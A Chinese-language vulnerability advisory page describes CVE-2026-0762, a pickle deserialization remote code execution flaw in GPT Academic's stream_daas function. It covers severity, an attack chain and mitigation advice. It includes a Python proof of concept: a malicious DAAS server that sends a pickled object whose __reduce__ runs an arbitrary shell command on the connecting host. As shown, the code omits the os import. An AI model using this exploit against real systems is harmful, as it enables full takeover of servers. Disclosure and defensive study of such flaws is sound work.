IPBUF安全漏洞报告
English
CVE-2026-0762 CVSS 8.1 高危

CVE-2026-0762 GPT Academic stream_daas 反序列化远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0762
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GPT Academic

相关标签

CVE-2026-0762GPT Academic反序列化漏洞远程代码执行stream_daasZDI-CAN-27956高危漏洞pickle反序列化零日漏洞

漏洞概述

CVE-2026-0762是GPT Academic项目中一个严重的安全漏洞,CVSS评分高达8.1,属于高危级别。该漏洞位于GPT Academic的stream_daas函数中,源于不信任数据的反序列化操作缺乏有效的安全验证。攻击者可以通过构造恶意的DAAS服务器,当目标用户连接或交互时,自动触发反序列化过程,从而在受害者系统上执行任意代码。值得注意的是,该漏洞的利用不需要任何认证凭证,也无需用户进行额外的交互操作,攻击者只需诱使目标系统连接到恶意的DAAS服务器即可。漏洞的成功利用会导致攻击者以root权限在目标系统上执行命令,从而完全控制受影响的系统。由于GPT Academic通常部署在服务器环境中,此漏洞可能对企业级部署造成严重威胁。

技术细节

该漏洞的核心问题在于GPT Academic的stream_daas函数在处理来自DAAS服务器的响应数据时,盲目地进行反序列化操作而未进行充分的安全验证。反序列化是将序列化后的数据重新转换为对象的过程,如果被反序列化的数据来自不可信的来源,攻击者可以通过精心构造恶意序列化对象来执行任意代码。在Python中,pickle模块的反序列化尤其危险,因为反序列化过程中会自动执行对象的__reduce__或__reduce_ex__方法来重建对象,攻击者可以在这些方法中嵌入恶意代码。攻击者需要搭建一个恶意的DAAS服务器,当GPT Academic连接并请求数据时,返回精心构造的恶意序列化数据。当GPT Academic接收到这些数据并进行反序列化时,恶意代码将以root权限在服务器上执行,从而实现远程代码执行。攻击者可以利用此漏洞执行系统命令、读取敏感文件、安装后门或进一步渗透内网。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意的DAAS服务器,准备包含恶意序列化payload的响应数据
STEP 2
步骤2
攻击者诱使目标用户配置GPT Academic连接到恶意DAAS服务器,或通过中间人攻击劫持合法的DAAS连接
STEP 3
步骤3
GPT Academic的stream_daas函数向DAAS服务器发起请求
STEP 4
步骤4
恶意DAAS服务器返回精心构造的恶意序列化对象
STEP 5
步骤5
GPT Academic接收到响应数据后,调用pickle.loads()进行反序列化
STEP 6
步骤6
反序列化过程中触发__reduce__方法,执行攻击者预设的恶意命令(以root权限运行)
STEP 7
步骤7
攻击者成功在目标系统上执行任意代码,可进一步进行权限维持、数据窃取或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
''' CVE-2026-0762 PoC - Malicious DAAS Server for GPT Academic RCE Note: This is for educational and security research purposes only. Author: Security Researcher Reference: ZDI-CAN-27956 ''' import pickle import base64 import http.server import socketserver from urllib.parse import urlparse, parse_qs # Malicious payload that executes arbitrary command class RCEPayload: def __reduce__(self): # Replace 'whoami' with any command you want to execute cmd = "whoami" return (os.system, (cmd,)) class MaliciousDAASHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): parsed_path = urlparse(self.path) if '/stream' in parsed_path.path or '/daas' in parsed_path.path: # Generate malicious serialized payload payload = pickle.dumps(RCEPayload()) encoded_payload = base64.b64encode(payload).decode('utf-8') # Send malicious response self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(payload) print(f"[+] Sent malicious payload to {self.client_address}") else: self.send_response(404) self.end_headers() def log_message(self, format, *args): print(f"[*] {self.address_string()} - {format % args}") def main(): PORT = 8080 print(f"[*] Starting malicious DAAS server on port {PORT}") print(f"[*] Waiting for GPT Academic to connect...") with socketserver.TCPServer(("", PORT), MaliciousDAASHandler) as httpd: httpd.serve_forever() if __name__ == "__main__": main() # Client-side trigger (to be used when GPT Academic connects to malicious server) # The vulnerable code in stream_daas function will deserialize this payload: # import pickle # data = response_from_malicious_server # obj = pickle.loads(data) # This triggers RCE print("\n[!] Disclaimer: This PoC is for authorized security testing only.") print("[!] Unauthorized access to computer systems is illegal.")

影响范围

GPT Academic 所有版本(stream_daas功能受影响)

防御指南

临时缓解措施
在官方修复版本发布之前,建议临时禁用GPT Academic的stream_daas功能,避免连接到不可信的DAAS服务器。同时,确保应用程序以最低权限运行,避免以root权限部署服务。对于必须使用的DAAS连接,应进行严格的来源验证和SSL/TLS证书校验,防止中间人攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表